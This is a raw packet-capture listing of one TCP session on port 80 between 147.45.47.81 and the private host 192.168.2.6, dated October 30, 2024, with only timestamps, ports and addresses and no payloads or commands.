Oct 30, 2024 15:44:45.921067953 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.921073914 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.921086073 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.921087027 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.921098948 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.921132088 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.921756983 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.921768904 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.921780109 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.921802044 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.921804905 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.921816111 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.921825886 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.921832085 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.921844959 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.921853065 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.921886921 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.922739983 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.922759056 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.922770977 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.922782898 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.922796011 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.922796965 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.922806025 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.922816992 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.922818899 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.922842979 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.923618078 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.923662901 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.923666954 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.923679113 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.923707962 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.923726082 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.923738003 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.923749924 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.923760891 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.923777103 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.923804045 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.924546957 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.924561977 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.924572945 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.924592972 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.925097942 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.925107956 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.925120115 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.925131083 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.925143957 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.925143957 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.925153971 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.925163984 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.925174952 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.925209045 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.925785065 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.925803900 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.925813913 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.925857067 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.925887108 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.925899029 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.925909996 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.925921917 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.925930977 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.925951958 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.926657915 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.926670074 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.926678896 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.926721096 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.926721096 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.926733017 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.926744938 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.926758051 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.926764011 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.926774979 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.926815987 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.927555084 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.927598953 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.927668095 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.927680016 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.927690983 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.927700996 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.927712917 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.927726030 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.927732944 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.927737951 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.927737951 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.927782059 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.928523064 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.928534985 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.928571939 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.928586006 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.928596973 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.928623915 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.928641081 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.928652048 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.928663015 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.928677082 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.928683043 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.928714991 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.929400921 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.929435968 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.929446936 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.929469109 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.929487944 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.929501057 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.929512024 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.929519892 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.929529905 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.929537058 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.929548025 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.929600000 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.930383921 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.930429935 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.930516958 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.930574894 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.930587053 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.930598974 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.930604935 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.930610895 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.930635929 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.931073904 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.931118011 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.931195021 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.931205988 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.931216955 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.931252003 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.931257963 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.931268930 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.931279898 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.931288958 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.931298971 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.931323051 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.931931019 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.931950092 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.931976080 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.932003975 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.932014942 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.932025909 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.932040930 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.932055950 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.932080984 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.932091951 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.932109118 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.932137012 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.932822943 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.932867050 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.932920933 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.932931900 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.932955027 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.932965994 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.932965994 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.932977915 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.932988882 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.933001995 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.933002949 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.933027029 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.933676958 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.933720112 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.933780909 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.933793068 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.933804989 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.933815956 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.933830976 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.933837891 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.933845043 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.933857918 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.933864117 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.933876038 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.934591055 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.934643984 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.934719086 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.934731007 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.934736967 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.934742928 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.934755087 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.934761047 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.934767962 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.934768915 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.934813023 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.935380936 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.935416937 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.935445070 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.935456991 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.935467958 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.935492992 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.935548067 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.935559988 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.935571909 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.935580015 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.935583115 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.935595036 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.935607910 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.935635090 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.936323881 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.936367035 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.936383963 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.936400890 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.936640978 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.936678886 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.936753988 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.936772108 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.936783075 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.936794996 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.936806917 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.936806917 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.936820030 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.936831951 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.936834097 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.936856031 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.936861992 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.936897993 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.937666893 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.937764883 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.937777042 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.937787056 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.937798023 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.937810898 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.937815905 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.937827110 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.937836885 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.937840939 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.937849998 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.937851906 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.937880993 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.938502073 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.938529015 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.938546896 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.938572884 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.938585997 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.938608885 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.938612938 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.938623905 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.938636065 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.938642979 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.938647985 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.938661098 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.938666105 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.938708067 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.939347982 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.939361095 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.939373016 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.939389944 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.939397097 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.939402103 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.939413071 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.939424038 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.939434052 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.939446926 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.939450979 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.939459085 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.939483881 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.940331936 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.940344095 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.940356970 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.940371990 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.940372944 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.940386057 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.940397978 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.940411091 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.940419912 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.940423012 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.940437078 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.940440893 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.940448999 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.940460920 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.940476894 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.941155910 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.941175938 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.941188097 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.941261053 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.941278934 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.941291094 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.941294909 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.941315889 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.941746950 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.941759109 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.941766024 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.941808939 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.941822052 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.941827059 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.941833973 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.941850901 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.941850901 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.941864967 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.941874981 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.941886902 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.941895008 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.941900015 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.941922903 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.941931009 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.942648888 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.942693949 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.942704916 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.942729950 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.942732096 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.942742109 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.942753077 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.942776918 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.942800999 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.942809105 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.942820072 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.942836046 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.942847013 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.942858934 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.942868948 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.942893982 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.943635941 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.943655968 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.943667889 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.943706989 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.943784952 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.943797112 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.943809032 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.943819046 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.943830013 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.943830967 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.943844080 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.943855047 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.943856001 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.943867922 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.943880081 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.943916082 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.944610119 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.944730043 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.944741011 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.944751978 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.944761992 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.944771051 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.944782019 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.944791079 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.944793940 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.944807053 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.944819927 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.944820881 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.944833040 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.944844961 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.944856882 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.944878101 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.945589066 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.945600986 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.945620060 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.945631027 CET	80	49995	147.45.47.81	192.168.2.6
